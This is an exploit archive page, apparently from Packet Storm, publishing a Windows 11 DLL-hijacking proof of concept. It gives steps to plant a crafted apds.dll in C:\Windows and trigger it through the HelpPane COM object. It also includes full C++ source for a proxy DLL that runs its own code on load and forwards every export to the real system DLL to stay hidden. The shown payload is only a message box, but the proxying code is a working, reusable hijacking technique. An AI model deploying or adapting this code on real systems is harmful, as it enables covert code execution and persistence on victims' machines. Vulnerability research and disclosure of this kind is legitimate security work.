exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows 11 apds.dll DLL Hijacking

Microsoft Windows 11 apds.dll DLL Hijacking
Posted Oct 10, 2023
Authored by Moein Shahabi

Microsoft Windows 11 apds.dll DLL hijacking exploit.

tags | exploit
systems | windows
SHA-256 | 256cfaed0a65b3eceb6de21c558b32d1d65aa79b6a7e42a30bfb3b41fd52b46a

Microsoft Windows 11 apds.dll DLL Hijacking

Change Mirror Download
#---------------------------------------------------------
# Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
# Date: 2023-09-01
# Author: Moein Shahabi
# Vendor: https://www.microsoft.com
# Version: Windows 11 Pro 10.0.22621
# Tested on: Windows 11_x64 [eng]

#---------------------------------------------------------


Description:

HelpPane object allows us to force Windows 11 to DLL hijacking

Instructions:

1. Compile dll
2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"
4. Boom DLL Hijacked!


------Code_Poc-------
#pragma once
#include <Windows.h>



// Function executed when the thread starts
extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
return 0;
}

PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
#ifdef _WIN64
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;

// Create some breathing room
baseAddress = baseAddress + optionalHeader->SizeOfImage;

for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
PBYTE usuable = (PBYTE)VirtualAlloc(
offset,
size,
MEM_RESERVE | MEM_COMMIT,
protection);

if (usuable) {
ZeroMemory(usuable, size); // Not sure if this is required
return usuable;
}
}
#else
// x86 doesn't matter where we allocate

PBYTE usuable = (PBYTE)VirtualAlloc(
NULL,
size,
MEM_RESERVE | MEM_COMMIT,
protection);

if (usuable) {
ZeroMemory(usuable, size);
return usuable;
}
#endif
return 0;
}

BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)
{
#ifdef _WIN64
BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax
#else
BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax
#endif

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDirectory->Size == 0)
return FALSE; // Nothing to forward

PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)
return FALSE; // TODO: Add support for DLLs with mixed ordinals

dosHeader = (PIMAGE_DOS_HEADER)ourBase;
ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
optionalHeader = &ntHeaders->OptionalHeader;
exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDirectory->Size == 0)
return FALSE; // Our DLL is broken

PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

// ----------------------------------

// Make current header data RW for redirections
DWORD oldProtect = 0;
if (!VirtualProtect(
ourExportDirectory,
64, PAGE_READWRITE,
&oldProtect)) {
return FALSE;
}

DWORD totalAllocationSize = 0;

// Add the size of jumps
totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));

// Add the size of function table
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);

// Add total size of names
PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)
totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;

// Add size of name table
totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);

// Add the size of ordinals:
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);

// Allocate usuable memory for rebuilt export data
PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);
if (!exportData)
return FALSE;

PBYTE sideAllocation = exportData; // Used for VirtualProtect later

// Copy Function Table
PINT newFunctionTable = (PINT)exportData;
CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));
exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);
ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);

// Write JMPs and update RVAs in the new function table
PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);
for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {
newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);

CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));
exportData += sizeof(jmpPrefix);

PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);
CopyMemory(exportData, &realAddress, sizeof(LPVOID));
exportData += sizeof(LPVOID);

CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));
exportData += sizeof(jmpSuffix);
}

// Copy Name RVA Table
PINT newNameTable = (PINT)exportData;
CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));
exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);
ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);

// Copy names and apply delta to all the RVAs in the new name table
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);
DWORD length = (DWORD)strlen((LPCSTR)realAddress);
CopyMemory(exportData, realAddress, length);
newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);
exportData += length + 1;
}

// Copy Ordinal Table
PINT newOrdinalTable = (PINT)exportData;
CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));
exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);

// Set our counts straight
ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;
ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;

if (!VirtualProtect(
ourExportDirectory,
64, oldProtect,
&oldProtect)) {
return FALSE;
}

if (!VirtualProtect(
sideAllocation,
totalAllocationSize,
PAGE_EXECUTE_READ,
&oldProtect)) {
return FALSE;
}

return TRUE;
}
// Executed when the DLL is loaded (traditionally or through reflective injection)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HMODULE realDLL;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");
if (realDLL)
ProxyExports(hModule, realDLL);


case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
--------------------------


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close